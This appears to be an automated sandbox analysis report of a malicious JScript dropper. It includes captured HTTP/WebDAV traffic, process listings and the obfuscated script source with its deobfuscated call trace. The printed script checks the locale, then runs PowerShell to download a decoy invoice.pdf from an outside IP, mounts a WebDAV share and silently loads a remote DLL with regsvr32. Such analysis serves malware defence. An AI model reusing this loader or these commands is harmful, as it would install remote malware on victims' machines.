Jan 10, 2025 20:29:25.866720915 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 20:29:25.866730928 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 20:29:25.866741896 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 20:29:25.866751909 CET	1116	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 20:29:25.866763115 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 10, 2025 20:29:25.871629000 CET	272	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6532	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:29:27.872178078 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:29:28.657821894 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:29:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	14:29:20
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js"
Imagebase:	0x7ff796280000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:29:21
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll
Imagebase:	0x7ff7f2580000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:29:21
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:29:21
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:29:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:29:26
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f2580000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:29:26
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff670540000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:29:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:29:27
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:29:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1372,i,2755132955341686743,16738015036419751456,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function zwipsolcr() {	zwipsolcr() ➔ undefined
1	jycxif = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var blfdh = this[xtotcf + ebzoday + nkrlfbqok + ciyoqpy + rbvluk + gmcbllzx + vetonkgjl + odoml] ( this[xcqpz + qsnpqj + hnqdrhfl + nkrlfbqok + zmsrqm + xtotcf + odoml][rqwxz + nkrlfbqok + rbvluk + ebzoday + odoml + rbvluk + xajbdgs + hvomkpfh + frbehufp + rbvluk + hnqdrhfl + odoml] ( xcqpz + qsnpqj + hnqdrhfl + nkrlfbqok + zmsrqm + xtotcf + odoml + jhpqhxn + qsnpqj + irfsocwf + rbvluk + boedqkspn + boedqkspn ) [ffcwjmf + rbvluk + wcrplifky + ffcwjmf + rbvluk + ebzoday + amtahunuf] ( sfqthua + fqzylak + mvuoy + pwsssvn + kvzoro + rqwxz + btwxtjvtd + ffcwjmf + ffcwjmf + mvuoy + nrbzjrh + watqsu + kvzoro + btwxtjvtd + qsnpqj + mvuoy + ffcwjmf + japlx + rqwxz + xcnjz + vetonkgjl + odoml + nkrlfbqok + xcnjz + boedqkspn + sjxaco + rmyjgttf + ebzoday + vetonkgjl + rbvluk + boedqkspn + japlx + gmcbllzx + vetonkgjl + odoml + rbvluk + nkrlfbqok + vetonkgjl + ebzoday + odoml + zmsrqm + xcnjz + vetonkgjl + ebzoday + boedqkspn + japlx + pwvyfibs + xcnjz + hnqdrhfl + ebzoday + boedqkspn + rbvluk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( uljboh = 0 ; uljboh < jycxif[boedqkspn + rbvluk + vetonkgjl + wcrplifky + odoml + irfsocwf] ; ++ uljboh )
4	{
5	if ( blfdh == jycxif[uljboh] )
6	{
7	blfdh = true;
8	break ;
9	}
10	}
11	if ( blfdh !== true )
12	this[xcqpz + qsnpqj + hnqdrhfl + nkrlfbqok + zmsrqm + xtotcf + odoml][dsymnkg + vupsx + zmsrqm + odoml] ( );
13	this[xcqpz + qsnpqj + hnqdrhfl + nkrlfbqok + zmsrqm + xtotcf + odoml][rqwxz + nkrlfbqok + rbvluk + ebzoday + odoml + rbvluk + xajbdgs + hvomkpfh + frbehufp + rbvluk + hnqdrhfl + odoml] ( xcqpz + qsnpqj + hnqdrhfl + nkrlfbqok + zmsrqm + xtotcf + odoml + jhpqhxn + qsnpqj + irfsocwf + rbvluk + boedqkspn + boedqkspn ) [nkrlfbqok + vupsx + vetonkgjl] ( hnqdrhfl + yqqhgecmx + amtahunuf + sjxaco + xqlyydq + hnqdrhfl + sjxaco + xtotcf + xcnjz + vwhwt + rbvluk + nkrlfbqok + ciyoqpy + irfsocwf + rbvluk + boedqkspn + boedqkspn + jhpqhxn + rbvluk + yuflb + rbvluk + sjxaco + nzftkihru + rqwxz + xcnjz + yqqhgecmx + yqqhgecmx + ebzoday + vetonkgjl + amtahunuf + sjxaco + kfizo + gmcbllzx + vetonkgjl + sgwmqnkyi + xcnjz + dzzjev + rbvluk + nzftkihru + xcqpz + rbvluk + hvomkpfh + ffcwjmf + rbvluk + oreypjbu + vupsx + rbvluk + ciyoqpy + odoml + sjxaco + nzftkihru + xajbdgs + vupsx + odoml + qnbwmvndy + zmsrqm + boedqkspn + rbvluk + sjxaco + izasgo + odoml + rbvluk + yqqhgecmx + xtotcf + izasgo + japlx + zmsrqm + vetonkgjl + sgwmqnkyi + xcnjz + zmsrqm + hnqdrhfl + rbvluk + jhpqhxn + xtotcf + amtahunuf + ihzxxgg + sjxaco + irfsocwf + odoml + odoml + xtotcf + jrmlwpsik + xqlyydq + xqlyydq + jnvzj + gvhbai + wrrewjk + jhpqhxn + jnvzj + txpsj + wrrewjk + jhpqhxn + jnvzj + jhpqhxn + tecizdd + wjzfigrjp + utxlv + xqlyydq + zmsrqm + vetonkgjl + sgwmqnkyi + xcnjz + zmsrqm + hnqdrhfl + rbvluk + jhpqhxn + xtotcf + irfsocwf + xtotcf + kfizo + vsueqf + vsueqf + ciyoqpy + odoml + ebzoday + nkrlfbqok + odoml + sjxaco + izasgo + odoml + rbvluk + yqqhgecmx + xtotcf + izasgo + japlx + zmsrqm + vetonkgjl + sgwmqnkyi + xcnjz + zmsrqm + hnqdrhfl + rbvluk + jhpqhxn + xtotcf + amtahunuf + ihzxxgg + vsueqf + vsueqf + hnqdrhfl + yqqhgecmx + amtahunuf + sjxaco + xqlyydq + hnqdrhfl + sjxaco + vetonkgjl + rbvluk + odoml + sjxaco + vupsx + ciyoqpy + rbvluk + sjxaco + japlx + japlx + jnvzj + gvhbai + wrrewjk + jhpqhxn + jnvzj + txpsj + wrrewjk + jhpqhxn + jnvzj + jhpqhxn + tecizdd + wjzfigrjp + utxlv + cpzwolq + foiupiej + foiupiej + foiupiej + foiupiej + japlx + amtahunuf + ebzoday + sgwmqnkyi + vwhwt + vwhwt + vwhwt + nkrlfbqok + xcnjz + xcnjz + odoml + japlx + vsueqf + vsueqf + hnqdrhfl + yqqhgecmx + amtahunuf + sjxaco + xqlyydq + hnqdrhfl + sjxaco + nkrlfbqok + rbvluk + wcrplifky + ciyoqpy + sgwmqnkyi + nkrlfbqok + wrrewjk + tecizdd + sjxaco + xqlyydq + ciyoqpy + sjxaco + japlx + japlx + jnvzj + gvhbai + wrrewjk + jhpqhxn + jnvzj + txpsj + wrrewjk + jhpqhxn + jnvzj + jhpqhxn + tecizdd + wjzfigrjp + utxlv + cpzwolq + foiupiej + foiupiej + foiupiej + foiupiej + japlx + amtahunuf + ebzoday + sgwmqnkyi + vwhwt + vwhwt + vwhwt + nkrlfbqok + xcnjz + xcnjz + odoml + japlx + jnvzj + txpsj + wjzfigrjp + gvhbai + jnvzj + jnvzj + gvhbai + jnvzj + gvhbai + wjzfigrjp + jnvzj + wrrewjk + jnvzj + wjzfigrjp + foiupiej + jhpqhxn + amtahunuf + boedqkspn + boedqkspn, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll",0,false) ➔ 0
14	}
15	boedqkspn = "R";
16	boedqkspn = "D";
17	boedqkspn = "A";
18	boedqkspn = "t";
19	boedqkspn = "y";
20	boedqkspn = "b";
21	boedqkspn = "j";
22	boedqkspn = "p";
23	boedqkspn = "l";
24	sjxaco = "Z";
25	sjxaco = "a";
26	sjxaco = "G";
27	sjxaco = "V";
28	sjxaco = "U";
29	sjxaco = "n";
30	sjxaco = "Y";
31	sjxaco = "c";
32	sjxaco = "N";
33	sjxaco = "l";
34	sjxaco = "g";
35	sjxaco = "b";
36	sjxaco = "L";
37	sjxaco = "M";
38	sjxaco = "e";
39	sjxaco = "F";
40	sjxaco = "d";
41	sjxaco = "D";
42	sjxaco = "k";
43	sjxaco = "P";
44	sjxaco = "p";
45	sjxaco = "o";
46	sjxaco = "Q";
47	sjxaco = "O";
48	sjxaco = "b";
49	sjxaco = "b";
50	sjxaco = "W";
51	sjxaco = "x";
52	sjxaco = "f";
53	sjxaco = "W";
54	sjxaco = "O";
55	sjxaco = "o";
56	sjxaco = "k";
57	sjxaco = "P";
58	sjxaco = "v";
59	sjxaco = "l";
60	sjxaco = "d";
61	sjxaco = "D";
62	sjxaco = "e";
63	sjxaco = "w";
64	sjxaco = "L";
65	sjxaco = "I";
66	sjxaco = " ";
67	watqsu = "l";
68	watqsu = "Q";
69	watqsu = "K";
70	watqsu = "U";
71	watqsu = "E";
72	watqsu = "o";
73	watqsu = "z";
74	watqsu = "r";
75	watqsu = "D";
76	watqsu = "r";
77	watqsu = "u";
78	watqsu = "x";
79	watqsu = "k";
80	watqsu = "T";
81	xajbdgs = "l";
82	xajbdgs = "P";
83	xajbdgs = "a";
84	xajbdgs = "P";
85	xajbdgs = "l";
86	xajbdgs = "u";
87	xajbdgs = "k";
88	xajbdgs = "V";
89	xajbdgs = "X";
90	xajbdgs = "S";
91	xajbdgs = "f";
92	xajbdgs = "j";
93	xajbdgs = "J";
94	xajbdgs = "Z";
95	xajbdgs = "N";
96	xajbdgs = "Z";
97	xajbdgs = "Q";
98	xajbdgs = "W";
99	xajbdgs = "B";
100	xajbdgs = "P";
101	xajbdgs = "P";
102	xajbdgs = "Y";
103	xajbdgs = "D";
104	xajbdgs = "I";
105	xajbdgs = "W";
106	xajbdgs = "w";
107	xajbdgs = "e";
108	xajbdgs = "O";
109	xajbdgs = "Z";
110	xajbdgs = "T";
111	xajbdgs = "k";
112	xajbdgs = "X";
113	xajbdgs = "C";
114	xajbdgs = "d";
115	xajbdgs = "O";
116	dzzjev = "H";
117	dzzjev = "H";
118	dzzjev = "M";
119	dzzjev = "h";
120	dzzjev = "b";
121	dzzjev = "J";
122	dzzjev = "O";
123	dzzjev = "k";
124	wjzfigrjp = "M";
125	wjzfigrjp = "W";
126	wjzfigrjp = "B";
127	wjzfigrjp = "j";
128	wjzfigrjp = "C";
129	wjzfigrjp = "Y";
130	wjzfigrjp = "G";
131	wjzfigrjp = "N";
132	wjzfigrjp = "g";
133	wjzfigrjp = "y";
134	wjzfigrjp = "C";
135	wjzfigrjp = "o";
136	wjzfigrjp = "G";
137	wjzfigrjp = "f";
138	wjzfigrjp = "0";
139	vupsx = "O";
140	vupsx = "c";
141	vupsx = "J";
142	vupsx = "k";
143	vupsx = "k";
144	vupsx = "T";
145	vupsx = "x";
146	vupsx = "B";
147	vupsx = "P";
148	vupsx = "k";
149	vupsx = "w";
150	vupsx = "u";
151	vsueqf = "x";
152	vsueqf = "G";
153	vsueqf = "R";
154	vsueqf = "r";
155	vsueqf = "Q";
156	vsueqf = "q";
157	vsueqf = "T";
158	vsueqf = "c";
159	vsueqf = "E";
160	vsueqf = "&";
161	jhpqhxn = "o";
162	jhpqhxn = "D";
163	jhpqhxn = "d";
164	jhpqhxn = "G";
165	jhpqhxn = "w";
166	jhpqhxn = "E";
167	jhpqhxn = "z";
168	jhpqhxn = "j";
169	jhpqhxn = "E";
170	jhpqhxn = "C";
171	jhpqhxn = "P";
172	jhpqhxn = "O";
173	jhpqhxn = "B";
174	jhpqhxn = "S";
175	jhpqhxn = "T";
176	jhpqhxn = "l";
177	jhpqhxn = "l";
178	jhpqhxn = "j";
179	jhpqhxn = "h";
180	jhpqhxn = "E";
181	jhpqhxn = "K";
182	jhpqhxn = "w";
183	jhpqhxn = "s";
184	jhpqhxn = "w";
185	jhpqhxn = "P";
186	jhpqhxn = "U";
187	jhpqhxn = "w";
188	jhpqhxn = "Y";
189	jhpqhxn = ".";
190	txpsj = "x";
191	txpsj = "U";
192	txpsj = "v";
193	txpsj = "s";
194	txpsj = "R";
195	txpsj = "4";
196	ciyoqpy = "r";
197	ciyoqpy = "x";
198	ciyoqpy = "K";
199	ciyoqpy = "O";
200	ciyoqpy = "U";
201	ciyoqpy = "h";
202	ciyoqpy = "V";
203	ciyoqpy = "y";
204	ciyoqpy = "V";
205	ciyoqpy = "L";
206	ciyoqpy = "H";
207	ciyoqpy = "k";
208	ciyoqpy = "N";
209	ciyoqpy = "P";
210	ciyoqpy = "B";
211	ciyoqpy = "P";
212	ciyoqpy = "Y";
213	ciyoqpy = "N";
214	ciyoqpy = "h";
215	ciyoqpy = "p";
216	ciyoqpy = "M";
217	ciyoqpy = "P";
218	ciyoqpy = "R";
219	ciyoqpy = "w";
220	ciyoqpy = "R";
221	ciyoqpy = "u";
222	ciyoqpy = "s";
223	nrbzjrh = "I";
224	nrbzjrh = "S";
225	nrbzjrh = "R";
226	nrbzjrh = "P";
227	nrbzjrh = "F";
228	nrbzjrh = "y";
229	nrbzjrh = "F";
230	nrbzjrh = "i";
231	nrbzjrh = "j";
232	nrbzjrh = "G";
233	nrbzjrh = "B";
234	nrbzjrh = "l";
235	nrbzjrh = "r";
236	nrbzjrh = "V";
237	nrbzjrh = "T";
238	nrbzjrh = "B";
239	nrbzjrh = "f";
240	nrbzjrh = "g";
241	nrbzjrh = "U";
242	nrbzjrh = "h";
243	nrbzjrh = "X";
244	nrbzjrh = "E";
245	nrbzjrh = "r";
246	nrbzjrh = "Z";
247	nrbzjrh = "z";
248	nrbzjrh = "A";
249	nrbzjrh = "L";
250	nrbzjrh = "T";
251	nrbzjrh = "n";
252	nrbzjrh = "a";
253	nrbzjrh = "c";
254	nrbzjrh = "O";
255	nrbzjrh = "N";
256	sgwmqnkyi = "A";
257	sgwmqnkyi = "W";
258	sgwmqnkyi = "v";
259	sgwmqnkyi = "C";
260	sgwmqnkyi = "z";
261	sgwmqnkyi = "l";
262	sgwmqnkyi = "u";
263	sgwmqnkyi = "E";
264	sgwmqnkyi = "o";
265	sgwmqnkyi = "o";
266	sgwmqnkyi = "j";
267	sgwmqnkyi = "s";
268	sgwmqnkyi = "v";
269	sgwmqnkyi = "G";
270	sgwmqnkyi = "v";
271	btwxtjvtd = "x";
272	btwxtjvtd = "z";
273	btwxtjvtd = "I";
274	btwxtjvtd = "m";
275	btwxtjvtd = "M";
276	btwxtjvtd = "f";
277	btwxtjvtd = "b";
278	btwxtjvtd = "K";
279	btwxtjvtd = "y";
280	btwxtjvtd = "O";
281	btwxtjvtd = "g";
282	btwxtjvtd = "G";
283	btwxtjvtd = "Q";
284	btwxtjvtd = "B";
285	btwxtjvtd = "g";
286	btwxtjvtd = "S";
287	btwxtjvtd = "Y";
288	btwxtjvtd = "X";
289	btwxtjvtd = "B";
290	btwxtjvtd = "t";
291	btwxtjvtd = "L";
292	btwxtjvtd = "Z";
293	btwxtjvtd = "F";
294	btwxtjvtd = "F";
295	btwxtjvtd = "z";
296	btwxtjvtd = "i";
297	btwxtjvtd = "Q";
298	btwxtjvtd = "s";
299	btwxtjvtd = "v";
300	btwxtjvtd = "f";
301	btwxtjvtd = "R";
302	btwxtjvtd = "R";
303	btwxtjvtd = "m";
304	btwxtjvtd = "P";
305	btwxtjvtd = "A";
306	btwxtjvtd = "x";
307	btwxtjvtd = "P";
308	btwxtjvtd = "i";
309	btwxtjvtd = "D";
310	btwxtjvtd = "U";
311	rqwxz = "Z";
312	rqwxz = "Z";
313	rqwxz = "E";
314	rqwxz = "V";
315	rqwxz = "D";
316	rqwxz = "D";
317	rqwxz = "o";
318	rqwxz = "w";
319	rqwxz = "E";
320	rqwxz = "q";
321	rqwxz = "n";
322	rqwxz = "U";
323	rqwxz = "b";
324	rqwxz = "Z";
325	rqwxz = "c";
326	rqwxz = "M";
327	rqwxz = "G";
328	rqwxz = "l";
329	rqwxz = "V";
330	rqwxz = "h";
331	rqwxz = "j";
332	rqwxz = "z";
333	rqwxz = "R";
334	rqwxz = "O";
335	rqwxz = "C";
336	tecizdd = "t";
337	tecizdd = "T";
338	tecizdd = "G";
339	tecizdd = "M";
340	tecizdd = "q";
341	tecizdd = "X";
342	tecizdd = "P";
343	tecizdd = "M";
344	tecizdd = "b";
345	tecizdd = "d";
346	tecizdd = "K";
347	tecizdd = "W";
348	tecizdd = "I";
349	tecizdd = "z";
350	tecizdd = "E";
351	tecizdd = "K";
352	tecizdd = "J";
353	tecizdd = "w";
354	tecizdd = "S";
355	tecizdd = "B";
356	tecizdd = "G";
357	tecizdd = "C";
358	tecizdd = "Y";
359	tecizdd = "T";
360	tecizdd = "c";
361	tecizdd = "G";
362	tecizdd = "t";
363	tecizdd = "A";
364	tecizdd = "R";
365	tecizdd = "o";
366	tecizdd = "L";
367	tecizdd = "G";
368	tecizdd = "z";
369	tecizdd = "k";
370	tecizdd = "p";
371	tecizdd = "s";
372	tecizdd = "G";
373	tecizdd = "p";
374	tecizdd = "b";
375	tecizdd = "b";
376	tecizdd = "I";
377	tecizdd = "H";
378	tecizdd = "p";
379	tecizdd = "P";
380	tecizdd = "2";
381	hnqdrhfl = "N";
382	hnqdrhfl = "w";
383	hnqdrhfl = "i";
384	hnqdrhfl = "m";
385	hnqdrhfl = "v";
386	hnqdrhfl = "u";
387	hnqdrhfl = "Y";
388	hnqdrhfl = "A";
389	hnqdrhfl = "T";
390	hnqdrhfl = "y";
391	hnqdrhfl = "d";
392	hnqdrhfl = "c";
393	gvhbai = "K";
394	gvhbai = "R";
395	gvhbai = "H";
396	gvhbai = "C";
397	gvhbai = "K";
398	gvhbai = "S";
399	gvhbai = "X";
400	gvhbai = "q";
401	gvhbai = "T";
402	gvhbai = "r";
403	gvhbai = "9";
404	wcrplifky = "F";
405	wcrplifky = "n";
406	wcrplifky = "d";
407	wcrplifky = "y";
408	wcrplifky = "u";
409	wcrplifky = "Y";
410	wcrplifky = "e";
411	wcrplifky = "j";
412	wcrplifky = "b";
413	wcrplifky = "k";
414	wcrplifky = "l";
415	wcrplifky = "w";
416	wcrplifky = "f";
417	wcrplifky = "Q";
418	wcrplifky = "N";
419	wcrplifky = "I";
420	wcrplifky = "K";
421	wcrplifky = "i";
422	wcrplifky = "l";
423	wcrplifky = "W";
424	wcrplifky = "l";
425	wcrplifky = "r";
426	wcrplifky = "e";
427	wcrplifky = "G";
428	wcrplifky = "g";
429	nzftkihru = "Z";
430	nzftkihru = "S";
431	nzftkihru = "W";
432	nzftkihru = "n";
433	nzftkihru = "t";
434	nzftkihru = "Z";
435	nzftkihru = "o";
436	nzftkihru = "A";
437	nzftkihru = "-";
438	cpzwolq = "a";
439	cpzwolq = "b";
440	cpzwolq = "y";
441	cpzwolq = "E";
442	cpzwolq = "O";
443	cpzwolq = "r";
444	cpzwolq = "M";
445	cpzwolq = "E";
446	cpzwolq = "r";
447	cpzwolq = "I";
448	cpzwolq = "U";
449	cpzwolq = "@";
450	xcqpz = "L";
451	xcqpz = "m";
452	xcqpz = "I";
453	xcqpz = "b";
454	xcqpz = "S";
455	xcqpz = "u";
456	xcqpz = "T";
457	xcqpz = "C";
458	xcqpz = "i";
459	xcqpz = "Y";
460	xcqpz = "S";
461	xcqpz = "N";
462	xcqpz = "h";
463	xcqpz = "A";
464	xcqpz = "c";
465	xcqpz = "P";
466	xcqpz = "t";
467	xcqpz = "d";
468	xcqpz = "a";
469	xcqpz = "k";
470	xcqpz = "n";
471	xcqpz = "k";
472	xcqpz = "d";
473	xcqpz = "M";
474	xcqpz = "C";
475	xcqpz = "b";
476	xcqpz = "D";
477	xcqpz = "X";
478	xcqpz = "v";
479	xcqpz = "C";
480	xcqpz = "o";
481	xcqpz = "W";
482	hvomkpfh = "f";
483	hvomkpfh = "g";
484	hvomkpfh = "b";
485	hvomkpfh = "F";
486	hvomkpfh = "X";
487	hvomkpfh = "i";
488	hvomkpfh = "c";
489	hvomkpfh = "c";
490	hvomkpfh = "j";
491	hvomkpfh = "X";
492	hvomkpfh = "I";
493	hvomkpfh = "r";
494	hvomkpfh = "w";
495	hvomkpfh = "M";
496	hvomkpfh = "k";
497	hvomkpfh = "g";
498	hvomkpfh = "a";
499	hvomkpfh = "w";
500	hvomkpfh = "H";
501	hvomkpfh = "R";
502	hvomkpfh = "W";
